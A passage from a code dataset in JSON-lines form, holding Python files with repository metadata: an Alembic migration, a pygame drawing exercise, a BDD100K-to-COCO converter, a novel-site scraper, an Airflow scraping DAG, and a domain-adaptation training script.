"core.names.generate_name", "line_number": 39, "usage_type": "call"}, {"api_name": "core.names", "line_number": 39, "usage_type": "name"}, {"api_name": "core.traits.get_traits_by_count_and_archtype", "line_number": 40, "usage_type": "call"}, {"api_name": "core.traits", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 63, "usage_type": "call"}, {"api_name": "core.spell.parse_spells", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 75, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 76, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 76, "usage_type": "name"}, {"api_name": "core.spell.get_spells_by_level", "line_number": 78, "usage_type": "call"}, {"api_name": "core.npc.NPC", "line_number": 80, "usage_type": "call"}, {"api_name": "core.names.generate_name", "line_number": 84, "usage_type": "call"}, {"api_name": "core.names", "line_number": 84, "usage_type": "name"}, {"api_name": "core.traits.get_traits_by_count_and_archtype", "line_number": 85, "usage_type": "call"}, {"api_name": "core.traits", "line_number": 85, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 88, "usage_type": "call"}]} {"seq_id": "12092950573", "text": "\"\"\"add custom error config\n\nRevision ID: 6a67c708208f\nRevises: ad4dff9923c0\nCreate Date: 2020-08-11 16:57:36.626822\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nimport sqlalchemy_utils\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"6a67c708208f\"\ndown_revision = \"ad4dff9923c0\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\n \"service_instance\",\n sa.Column(\n \"error_responses\", postgresql.JSONB(astext_type=sa.Text()), nullable=True\n ),\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column(\"service_instance\", \"error_responses\")\n # ### end Alembic commands ###\n", "repo_name": "cloud-gov/external-domain-broker", "sub_path": "migrations/versions/6a67c708208f_add_custom_error_config.py", "file_name": "6a67c708208f_add_custom_error_config.py", "file_ext": "py", "file_size_in_byte": 838, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "alembic.op.add_column", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql.JSONB", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql", "line_number": 25, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op.drop_column", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 33, "usage_type": "name"}]} {"seq_id": "6825007959", "text": "#подключаем библиотеки\nimport pygame\nfrom pygame.draw import *\n\n\npygame.init()\n\n\nFPS = 30\nscreen = pygame.display.set_mode((1000, 1000))\n\n\nWHITE=(255, 255, 255)\nGREY=(200, 200, 200)\nYELLOW=(255, 255, 0)\nBLACK=(0, 0, 0)\nRED=(255, 0, 0)\nGREEN=(128, 128, 0)\nBROWN=(101, 67, 33)\nLIGHTGREY=(220, 220, 220)\nDARKGREY=(150, 150, 150)\n\nscreen.fill((200, 200, 200))\nrect(screen, WHITE, (0, 450, 1000, 750))\n\n\n\n\ndef drawEskimos(x, y, width, height):\n \"\"\"\n This function draws eskimos in clothes holding a stick whose center is in point (x, y)\n Whose height is counted from the bottom of the body to the top\n and whose width is counted from the left end of the body to its right end\n \"\"\"\n ellipse(screen, GREEN, (x - width/2, y - height/2, width, 2*height))\n rect(screen, WHITE, (x - width/2, y + height/2, width, 2*height))\n ellipse(screen, GREEN, (x - width/3, y + 2*height/3, width/4, height/2))\n ellipse(screen, GREEN, (x + width/6, y + 2*height/3, width/4, height/2))\n ellipse(screen, GREEN, (x - width/2, y + 25*height/24, width/3, height/6))\n ellipse(screen, GREEN, (x + width/4, y + 25*height/24, width/3, height/6))\n rect(screen, BROWN, (x - width/2, y + height/2, width, height/3))\n rect(screen, BROWN, (x - width/12, y - height/2, width/6, height))\n ellipse(screen, LIGHTGREY, (x - 5*width/12, y - 11*height/12, 5*width/6, 2*height/3))\n circle(screen, DARKGREY, (x, y - 7*height/12), width/3)\n ellipse(screen, LIGHTGREY, (x - width/4, y - 5*height/6, width/2, height/2))\n line(screen, BLACK, [x - width/5, y - 2*height/3], [x - width/12, y - 7*height/12])\n line(screen, BLACK, [x + width/5, y - 2*height/3], [x + width/12, y - 7*height/12])\n lines(screen, BLACK, False, [(x - width/6, y - height/2), (x - width/12, y - 13*height/24), (x + width/12, y - 13*height/24), (x + width/6, y - height/2)])\n ellipse(screen, GREEN, (x - 3*width/4, y - height/6, 2*width/3, height/3))\n ellipse(screen, GREEN, (x + width/12, y - height/6, 2*width/3, height/3))\n line(screen, BLACK, [x - 2*width/3, y - 11*height/12], [x - 2*width/3, y + 7*height/6])\n \ndef drawcat(x, y, size):\n '''\n this function draws cat \n ''' \n ellipse(screen, GREY, (x, y, 4*size, size)) #telo kota\n ellipse(screen, GREY, (x-size/10, y-size/2, 1.1*size, size/1.2)) #golova kota\n ellipse(screen, WHITE, (x-size/40, y-size/4, 0.36*size, 0.26*size)) #glaza kota\n ellipse(screen, WHITE, (x+size/2, y-size/4, 0.36*size, 0.26*size))\n ellipse(screen, BLACK, (x+size/10, y-size/5, 0.2*size, 0.1*size))\n ellipse(screen, BLACK, (x+size/1.55, y-size/5, 0.2*size, 0.1*size))\n arc(screen, BLACK, (x+size/4, y+size/15, size/2, size/2), -5.5, -4, 1) #rot kota\n surface = pygame.Surface((3*size,size)) #hvost\n surface.set_colorkey([0, 0, 0])\n ellipse(surface, GREY, (0, 0, 3*size, size/2))\n surface2 = pygame.transform.rotate(surface, 45)\n screen.blit(surface2, (x+size*3, y-1.5*size)) \n\n surface = pygame.Surface((3*size,size)) #1 noga\n surface.set_colorkey([0, 0, 0])\n ellipse(surface, GREY, (0, 0, 1.5*size, 0.4*size))\n surface3 = pygame.transform.rotate(surface, 40)\n screen.blit(surface3, (x-0.5*size, y-0.5*size))\n\n surface = pygame.Surface((3*size,size)) #2 noga\n surface.set_colorkey([0, 0, 0])\n ellipse(surface, GREY, (0, 0, 1.5*size, 0.4*size))\n surface3 = pygame.transform.rotate(surface, -30)\n screen.blit(surface3, (x+2.4*size, y+0.7*size))\n\n polygon(screen, GREY, [(x+0*size, y-0.3*size), (x-0*size, y-0.5*size), (x+0.1*size, y-0.4*size)]) #yshi\n polygon(screen, GREY, [(x+1*size, y-0.2*size), (x+0.9*size, y-0.5*size), (x+0.8*size, y-0.4*size)])\n\ndef drawigly(x, y, size):\n '''\n This function draw igly\n '''\n surface = pygame.Surface((3*size,size))\n surface.set_colorkey([0, 0, 0])\n ellipse(surface, YELLOW, (0, 0, 3*size, 7*size))\n screen.blit(surface, (x-0.5*size, y-1*size))\n for i in range (size//15):\n line(screen, RED, [x+5*i, (y-10*i)], [x-5*i+2*size, (y-10*i)], 2)\n rect(screen, BLACK, (x+0.75*size, y-0.92*size, 0.5*size, 0.3*size), 5)\n\n#draw iglys\ndrawigly(100, 700, 100)\ndrawigly(250, 600, 300)\ndrawigly(600, 500, 200)\ndrawigly(0, 450, 250)\n\n# draw eskimoses\ndrawEskimos(600, 850, 80, 150)\ndrawEskimos(800, 600, 170, 190)\ndrawEskimos(450, 700, 140, 100)\ndrawEskimos(300, 900, 30, 50)\n\n#draw cats\ndrawcat(100, 800, 50)\ndrawcat(200, 600, 30)\ndrawcat(300, 500, 40)\ndrawcat(20, 550, 20)\n\n\npygame.display.update()\nclock = pygame.time.Clock()\nfinished = False\n\nwhile not finished:\n clock.tick(FPS)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n finished = True\n\n\npygame.quit()\n", "repo_name": "PavlovVad/infa_2021_pavlov", "sub_path": "lab3/eskimos.py", "file_name": "eskimos.py", "file_ext": "py", "file_size_in_byte": 4692, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.init", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.transform.rotate", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 70, "usage_type": "call"}, {"api_name": "pygame.transform.rotate", "line_number": 73, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 76, "usage_type": "call"}, {"api_name": "pygame.transform.rotate", "line_number": 79, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 89, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 116, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 117, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 122, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 122, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 127, "usage_type": "call"}]} {"seq_id": "33647468650", "text": "import os\r\nimport json\r\nimport argparse\r\nfrom tqdm import tqdm\r\n\r\nparser = argparse.ArgumentParser(description='bdd2coco')\r\nparser.add_argument('--bdd_dir', type=str, default='C:/Users/Sergio Gil/Desktop/bdd100k')\r\ncfg = parser.parse_args()\r\n\r\nsrc_val_dir = os.path.join(cfg.bdd_dir, 'labels', 'bdd100k_labels_images_val.json')\r\nsrc_train_dir = os.path.join(cfg.bdd_dir, 'labels', 'bdd100k_labels_images_train.json')\r\n\r\nos.makedirs(os.path.join(cfg.bdd_dir, 'labels_coco'), exist_ok=True)\r\n\r\ndst_val_dir = os.path.join(cfg.bdd_dir, 'labels_coco', 'bdd100k_labels_images_val_coco.json')\r\ndst_train_dir = os.path.join(cfg.bdd_dir, 'labels_coco', 'bdd100k_labels_images_train_coco.json')\r\n\r\n\r\ndef bdd2coco_detection(labeled_images, save_dir):\r\n attr_dict = {\"categories\":\r\n [\r\n {\"supercategory\": \"none\", \"id\": 1, \"name\": \"person\"},\r\n {\"supercategory\": \"none\", \"id\": 2, \"name\": \"car\"},\r\n {\"supercategory\": \"none\", \"id\": 3, \"name\": \"rider\"},\r\n {\"supercategory\": \"none\", \"id\": 4, \"name\": \"bus\"},\r\n {\"supercategory\": \"none\", \"id\": 5, \"name\": \"truck\"},\r\n {\"supercategory\": \"none\", \"id\": 6, \"name\": \"bike\"},\r\n {\"supercategory\": \"none\", \"id\": 7, \"name\": \"motor\"},\r\n {\"supercategory\": \"none\", \"id\": 8, \"name\": \"traffic light\"},\r\n {\"supercategory\": \"none\", \"id\": 9, \"name\": \"traffic sign\"},\r\n # {\"supercategory\": \"none\", \"id\": 10, \"name\": \"train\"},\r\n ]}\r\n\r\n id_dict = {i['name']: i['id'] for i in attr_dict['categories']}\r\n\r\n images = list()\r\n annotations = list()\r\n ignore_categories = set()\r\n\r\n counter = 0\r\n for i in tqdm(labeled_images):\r\n counter += 1\r\n image = dict()\r\n image['file_name'] = i['name']\r\n image['height'] = 720\r\n image['width'] = 1280\r\n\r\n image['id'] = counter\r\n\r\n empty_image = True\r\n\r\n tmp = 0\r\n for l in i['labels']:\r\n annotation = dict()\r\n if l['category'] in id_dict.keys():\r\n tmp = 1\r\n empty_image = False\r\n annotation[\"iscrowd\"] = 0\r\n annotation[\"image_id\"] = image['id']\r\n x1 = l['box2d']['x1']\r\n y1 = l['box2d']['y1']\r\n x2 = l['box2d']['x2']\r\n y2 = l['box2d']['y2']\r\n annotation['bbox'] = [x1, y1, x2 - x1, y2 - y1]\r\n annotation['area'] = float((x2 - x1) * (y2 - y1))\r\n annotation['category_id'] = id_dict[l['category']]\r\n annotation['ignore'] = 0\r\n annotation['id'] = l['id']\r\n annotation['segmentation'] = [[x1, y1, x1, y2, x2, y2, x2, y1]]\r\n annotations.append(annotation)\r\n else:\r\n ignore_categories.add(l['category'])\r\n\r\n if empty_image:\r\n print('empty image!')\r\n continue\r\n if tmp == 1:\r\n images.append(image)\r\n\r\n attr_dict[\"images\"] = images\r\n attr_dict[\"annotations\"] = annotations\r\n attr_dict[\"type\"] = \"instances\"\r\n\r\n print('ignored categories: ', ignore_categories)\r\n print('saving...')\r\n with open(save_dir, \"w\") as file:\r\n json.dump(attr_dict, file)\r\n print('Done.')\r\n\r\n\r\ndef main():\r\n # create BDD training set detections in COCO format\r\n print('Loading training set...')\r\n with open(src_train_dir) as f:\r\n train_labels = json.load(f)\r\n print('Converting training set...')\r\n bdd2coco_detection(train_labels, dst_train_dir)\r\n\r\n # create BDD validation set detections in COCO format\r\n print('Loading validation set...')\r\n with open(src_val_dir) as f:\r\n val_labels = json.load(f)\r\n print('Converting validation set...')\r\n bdd2coco_detection(val_labels, dst_val_dir)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()", "repo_name": "sgavela/annotations-and-mAP-sripts", "sub_path": "bdd_to_coco.py", "file_name": "bdd_to_coco.py", "file_ext": "py", "file_size_in_byte": 3499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 41, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 87, "usage_type": "call"}, {"api_name": "json.load", "line_number": 95, "usage_type": "call"}, {"api_name": "json.load", "line_number": 102, "usage_type": "call"}]} {"seq_id": "23321642774", "text": "# Date 2019/5/4\n\nimport requests\nimport re\nimport time\n\nheaders = {\n 'User-Agent': 'python-requests/2.21.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'\n}\n\ndef get_info(url):\n res = requests.get(url,headers)\n if res.status_code == 200:\n contents = re.findall('

(.*?)

',res.content.decode('utf-8'),re.S)\n for content in contents:\n print(content)\n with open('C:/GitHub/python-learning/workspace/20190423/doupo.txt','a+') as f:\n f.write(content+'\\n')\n else:\n pass\n\nif __name__ == '__main__':\n urls = ['http://www.doupoxs.com/doupocangqiong/{}.html'.format(str(i)) for i in range(2,3)]\n for url in urls:\n get_info(url)\n time.sleep(1)", "repo_name": "osbing/python-learning", "sub_path": "workspace/20190423/doupocangqiong.py", "file_name": "doupocangqiong.py", "file_ext": "py", "file_size_in_byte": 761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 14, "usage_type": "call"}, {"api_name": "re.S", "line_number": 14, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}]} {"seq_id": "37828578745", "text": "from datetime import datetime, timedelta\nimport os\nfrom airflow.decorators import dag, task\nfrom airflow.operators.dagrun_operator import TriggerDagRunOperator\nfrom snow.snow_utils import copy_from_stage\nfrom webscrapers.spider_utils import run_spider\nfrom snow.snow_utils import copy_from_stage\nfrom s3.s3_utils import archive_raw_data\n\n# -------------- CONFIG\nDAG_VERSION = \"1.0.0\"\nJOBSITE = \"cwjobs\"\nRAW_DATA_TABLE = f\"{JOBSITE}_raw\"\n\nBUCKET_NAME = os.getenv(\"S3_RAW_DATA_BUCKET_NAME\")\nS3_SUBFOLDER = \"raw_jobs_data\"\n# -------------- DAG\ndefault_args = {\n \"owner\": \"louis\",\n \"retries\": 5,\n \"provide_context\": True,\n}\n\n\n@dag(\n dag_id=f\"dag_get_{JOBSITE}\",\n start_date=datetime(2023, 7, 18),\n schedule_interval=None,\n default_args=default_args,\n catchup=False,\n dagrun_timeout=timedelta(hours=1),\n tags=[\"testing\", f\"v{DAG_VERSION}\"],\n)\ndef dag():\n @task.python()\n def project_vars_to_xcom(**context):\n \"\"\"Pushes variables used at various stages of the pipeline to Airflow\n xcoms for easy retrieval.\"\"\"\n context[\"ti\"].xcom_push(key=\"bucket_name\", value=BUCKET_NAME)\n\n @task.python()\n def run_scrapy_spider(**context):\n todays_date = datetime.today().strftime(\"%Y-%m-%d\")\n output_filename = f\"{JOBSITE}_jobs_{todays_date}.json\"\n run_spider(output_filename)\n context[\"ti\"].xcom_push(\n key=f\"saved_{JOBSITE}_filename_for_{context['run_id']}\",\n value=output_filename,\n )\n\n @task.python()\n def copy_raw_data_from_stage(**context):\n target_file = context[\"ti\"].xcom_pull(\n key=f\"saved_{JOBSITE}_filename_for_{context['run_id']}\"\n )\n copy_from_stage(filename=target_file, target_table=RAW_DATA_TABLE)\n\n @task.python()\n def archive(**context):\n \"\"\"Archives imported data.\"\"\"\n archive_raw_data(\n bucket_name=context[\"ti\"].xcom_pull(key=\"bucket_name\"),\n subfolder=S3_SUBFOLDER,\n target_file=context[\"ti\"].xcom_pull(\n key=f\"saved_{JOBSITE}_filename_for_{context['run_id']}\"\n ),\n )\n\n trigger_next_dag = TriggerDagRunOperator(\n task_id=\"trigger_child_dag\",\n trigger_dag_id=\"dag_run_dbt\",\n )\n\n (\n project_vars_to_xcom()\n >> run_scrapy_spider()\n >> copy_raw_data_from_stage()\n >> archive()\n >> trigger_next_dag\n )\n\n\ndag()\n", "repo_name": "LouisYC123/job-skills-analysis", "sub_path": "dags/dag_get_cwjobs.py", "file_name": "dag_get_cwjobs.py", "file_ext": "py", "file_size_in_byte": 2413, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.getenv", "line_number": 15, "usage_type": "call"}, {"api_name": "airflow.decorators.task.python", "line_number": 35, "usage_type": "call"}, {"api_name": "airflow.decorators.task", "line_number": 35, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 43, "usage_type": "name"}, {"api_name": "webscrapers.spider_utils.run_spider", "line_number": 45, "usage_type": "call"}, {"api_name": "airflow.decorators.task.python", "line_number": 41, "usage_type": "call"}, {"api_name": "airflow.decorators.task", "line_number": 41, "usage_type": "name"}, {"api_name": "snow.snow_utils.copy_from_stage", "line_number": 56, "usage_type": "call"}, {"api_name": "airflow.decorators.task.python", "line_number": 51, "usage_type": "call"}, {"api_name": "airflow.decorators.task", "line_number": 51, "usage_type": "name"}, {"api_name": "s3.s3_utils.archive_raw_data", "line_number": 61, "usage_type": "call"}, {"api_name": "airflow.decorators.task.python", "line_number": 58, "usage_type": "call"}, {"api_name": "airflow.decorators.task", "line_number": 58, "usage_type": "name"}, {"api_name": "airflow.operators.dagrun_operator.TriggerDagRunOperator", "line_number": 69, "usage_type": "call"}, {"api_name": "airflow.decorators.dag", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 31, "usage_type": "call"}, {"api_name": "airflow.decorators.dag", "line_number": 83, "usage_type": "call"}]} {"seq_id": "72865211422", "text": "# Copyright 2020 Huawei Technologies Co., Ltd\r\n#\r\n# Licensed under the BSD 3-Clause License (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# https://opensource.org/licenses/BSD-3-Clause\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\n#--------------------------------------------------------------------\r\n# modified from \"ADVENT/advent/scripts/train.py\" by Tuan-Hung Vu\r\n#--------------------------------------------------------------------\r\nimport argparse\r\nimport os\r\nimport os.path as osp\r\nimport pprint\r\nimport random\r\nimport warnings\r\n\r\nimport numpy as np\r\nimport yaml\r\nimport torch\r\nfrom torch.utils import data\r\n\r\nfrom advent.model.deeplabv2 import get_deeplab_v2\r\nfrom advent.dataset.gta5 import GTA5DataSet\r\nfrom advent.dataset.cityscapes import CityscapesDataSet as CityscapesDataSet_hard\r\nfrom cityscapes import CityscapesDataSet as CityscapesDataSet_easy\r\nfrom advent.domain_adaptation.config import cfg, cfg_from_file\r\nfrom train_UDA import train_domain_adaptation\r\n\r\n\r\nwarnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\")\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n\r\ndef get_arguments():\r\n \"\"\"\r\n Parse input arguments\r\n \"\"\"\r\n parser = argparse.ArgumentParser(description=\"Code for domain adaptation (DA) training\")\r\n parser.add_argument('--cfg', type=str, default=None,\r\n help='optional config file', )\r\n parser.add_argument(\"--random-train\", action=\"store_true\",\r\n help=\"not fixing random seed.\")\r\n parser.add_argument(\"--tensorboard\", action=\"store_true\",\r\n help=\"visualize training loss with tensorboardX.\")\r\n parser.add_argument(\"--viz_every_iter\", type=int, default=None,\r\n help=\"visualize results.\")\r\n parser.add_argument(\"--exp-suffix\", type=str, default=None,\r\n help=\"optional experiment suffix\")\r\n parser.add_argument('--rank', type=int, default=0)\r\n parser.add_argument('--device_type', type=str, default='npu')\r\n parser.add_argument('--device_id', type=int, )\r\n parser.add_argument('--world_size', type=int, default=1)\r\n parser.add_argument('--distributed', action='store_true', default=False)\r\n parser.add_argument('--performance_log', action='store_true', default=False)\r\n return parser.parse_args()\r\n\r\n\r\ndef main():\r\n # LOAD ARGS\r\n args = get_arguments()\r\n print('Called with args:')\r\n print(args)\r\n\r\n # pdb.set_trace()\r\n\r\n assert args.cfg is not None, 'Missing cfg file'\r\n cfg_from_file(args.cfg)\r\n cfg.distributed = args.distributed\r\n ddp_backend = \"hccl\" if args.device_type == \"npu\" else \"nccl\"\r\n\r\n if cfg.distributed:\r\n torch.distributed.init_process_group(backend=ddp_backend, world_size=args.world_size, rank=args.rank)\r\n device = torch.device(\"{}:{}\".format(args.device_type ,args.device_id))\r\n cfg.device_id = args.device_id\r\n cfg.rank = args.rank\r\n cfg.world_size = args.world_size\r\n cfg.device_type = args.device_type\r\n cfg.performance_log = args.performance_log\r\n if args.device_type == 'cuda':\r\n torch.cuda.set_device(args.device_id)\r\n elif args.device_type == 'npu':\r\n torch.npu.set_device(args.device_id)\r\n\r\n cfg.is_master_node = args.world_size == 1 or args.device_id == 0\r\n\r\n # auto-generate exp name if not specified\r\n if cfg.EXP_NAME == '':\r\n cfg.EXP_NAME = f'{cfg.SOURCE}2{cfg.TARGET}_{cfg.TRAIN.MODEL}_{cfg.TRAIN.DA_METHOD}'\r\n\r\n if args.exp_suffix:\r\n cfg.EXP_NAME += f'_{args.exp_suffix}'\r\n # auto-generate snapshot path if not specified\r\n if cfg.TRAIN.SNAPSHOT_DIR == '':\r\n cfg.TRAIN.SNAPSHOT_DIR = osp.join(cfg.EXP_ROOT_SNAPSHOT, cfg.EXP_NAME)\r\n os.makedirs(cfg.TRAIN.SNAPSHOT_DIR, exist_ok=True)\r\n # tensorboard\r\n if args.tensorboard:\r\n if cfg.TRAIN.TENSORBOARD_LOGDIR == '':\r\n cfg.TRAIN.TENSORBOARD_LOGDIR = osp.join(cfg.EXP_ROOT_LOGS, 'tensorboard', cfg.EXP_NAME)\r\n os.makedirs(cfg.TRAIN.TENSORBOARD_LOGDIR, exist_ok=True)\r\n if args.viz_every_iter is not None:\r\n cfg.TRAIN.TENSORBOARD_VIZRATE = args.viz_every_iter\r\n else:\r\n cfg.TRAIN.TENSORBOARD_LOGDIR = ''\r\n if cfg.is_master_node:\r\n print('Using config:')\r\n pprint.pprint(cfg)\r\n\r\n # INIT\r\n _init_fn = None\r\n if not args.random_train:\r\n torch.manual_seed(cfg.TRAIN.RANDOM_SEED)\r\n if args.device_type == 'cuda':\r\n torch.cuda.manual_seed(cfg.TRAIN.RANDOM_SEED)\r\n elif args.device_type == 'npu':\r\n torch.npu.manual_seed(cfg.TRAIN.RANDOM_SEED)\r\n np.random.seed(cfg.TRAIN.RANDOM_SEED)\r\n random.seed(cfg.TRAIN.RANDOM_SEED)\r\n\r\n def _init_fn(worker_id):\r\n np.random.seed(cfg.TRAIN.RANDOM_SEED + worker_id)\r\n\r\n if os.environ.get('ADVENT_DRY_RUN', '0') == '1':\r\n return\r\n\r\n # LOAD SEGMENTATION NET\r\n assert osp.exists(cfg.TRAIN.RESTORE_FROM), f'Missing init model {cfg.TRAIN.RESTORE_FROM}'\r\n if cfg.TRAIN.MODEL == 'DeepLabv2':\r\n model = get_deeplab_v2(num_classes=cfg.NUM_CLASSES, multi_level=cfg.TRAIN.MULTI_LEVEL)\r\n saved_state_dict = torch.load(cfg.TRAIN.RESTORE_FROM)\r\n if 'DeepLab_resnet_pretrained_imagenet' in cfg.TRAIN.RESTORE_FROM:\r\n new_params = model.state_dict().copy()\r\n for i in saved_state_dict:\r\n i_parts = i.split('.')\r\n if not i_parts[1] == 'layer5':\r\n new_params['.'.join(i_parts[1:])] = saved_state_dict[i]\r\n model.load_state_dict(new_params)\r\n else:\r\n model.load_state_dict(saved_state_dict)\r\n else:\r\n raise NotImplementedError(f\"Not yet supported {cfg.TRAIN.MODEL}\")\r\n print('Model loaded')\r\n\r\n # DATALOADERS\r\n # pdb.set_trace()\r\n easy_dataset = CityscapesDataSet_easy(root=cfg.DATA_DIRECTORY_SOURCE,\r\n list_path=cfg.DATA_LIST_SOURCE,\r\n max_iters=cfg.TRAIN.MAX_ITERS * cfg.TRAIN.BATCH_SIZE_SOURCE * args.world_size,\r\n crop_size=cfg.TRAIN.INPUT_SIZE_SOURCE,\r\n mean=cfg.TRAIN.IMG_MEAN)\r\n if cfg.distributed:\r\n easy_sampler = torch.utils.data.distributed.DistributedSampler(easy_dataset)\r\n easy_loader = data.DataLoader(easy_dataset,\r\n batch_size=cfg.TRAIN.BATCH_SIZE_SOURCE,\r\n num_workers=cfg.NUM_WORKERS,\r\n shuffle=(not cfg.distributed),\r\n pin_memory=False,\r\n sampler=easy_sampler if cfg.distributed else None,\r\n worker_init_fn=_init_fn)\r\n\r\n # pdb.set_trace()\r\n hard_dataset = CityscapesDataSet_hard(root=cfg.DATA_DIRECTORY_TARGET,\r\n list_path=cfg.DATA_LIST_TARGET,\r\n set=cfg.TRAIN.SET_TARGET,\r\n info_path=cfg.TRAIN.INFO_TARGET,\r\n max_iters=cfg.TRAIN.MAX_ITERS * cfg.TRAIN.BATCH_SIZE_TARGET * args.world_size,\r\n crop_size=cfg.TRAIN.INPUT_SIZE_TARGET,\r\n mean=cfg.TRAIN.IMG_MEAN)\r\n if cfg.distributed:\r\n hard_sampler = torch.utils.data.distributed.DistributedSampler(hard_dataset)\r\n hard_loader = data.DataLoader(hard_dataset,\r\n batch_size=cfg.TRAIN.BATCH_SIZE_TARGET,\r\n num_workers=cfg.NUM_WORKERS,\r\n shuffle=(not cfg.distributed),\r\n pin_memory=False,\r\n sampler=hard_sampler if cfg.distributed else None,\r\n worker_init_fn=_init_fn)\r\n\r\n with open(osp.join(cfg.TRAIN.SNAPSHOT_DIR, 'train_cfg.yml'), 'w') as yaml_file:\r\n yaml.dump(cfg, yaml_file, default_flow_style=False)\r\n\r\n # pdb.set_trace()\r\n train_domain_adaptation(model, easy_loader, hard_loader, device, cfg)\r\n\r\n\r\nif __name__ == '__main__':\r\n os.environ['MASTER_ADDR'] = '127.0.0.1'\r\n os.environ['MASTER_PORT'] = '29688'\r\n main()\r\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/semantic_segmentation/IntraDA/intrada/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 8618, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "warnings.filterwarnings", "line_number": 38, 